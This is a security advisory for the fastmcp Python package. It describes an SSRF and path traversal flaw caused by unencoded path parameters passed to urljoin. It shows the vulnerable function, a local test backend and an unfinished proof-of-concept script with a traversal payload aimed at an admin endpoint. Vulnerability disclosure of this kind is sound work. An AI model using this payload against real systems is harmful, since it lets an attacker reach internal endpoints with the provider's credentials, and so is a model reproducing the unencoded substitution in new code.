GitHub Security Advisory: GHSA-vv7q-7jx5-f767
Package: fastmcp (PIP)
Severity: CRITICAL (CVSS 10.0)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: < 3.2.0
Patched in: 3.2.0

Summary: FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability

Details:
## Technical Description

The `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service.

A critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL.

Since `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider.

---

## Vulnerable Code

**File:** `fastmcp/utilities/openapi/director.py`

```python
def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    # Direct string substitution without encoding
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))

    # urljoin resolves ../ escape sequences
    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))
```

### Root Cause

1. Path parameters are substituted directly without URL encoding
2. `urllib.parse.urljoin()` interprets `../` as directory traversal
3. No validation prevents traversal sequences in parameter values
4. Requests inherit the authentication context of the MCP provider

---

## Proof of Concept

### Step 1: Backend API Setup

Create `internal_api.py` to simulate a vulnerable backend server:

```python
from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
    return {"status": "success", "user": user_id}

@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
    if authorization == "Bearer admin_secret":
        return {"status": "CRITICAL", "message": "Administrative access granted"}
    raise HTTPException(status_code=401)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)
```

### Step 2: Exploitation Script

Create `exploit_poc.py`:

```python
import asyncio
import httpx
from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
    # Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"
    
    # Payload: Path traversal to reach /admin/delete-all
    # The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"
    
    # Construct malicious URL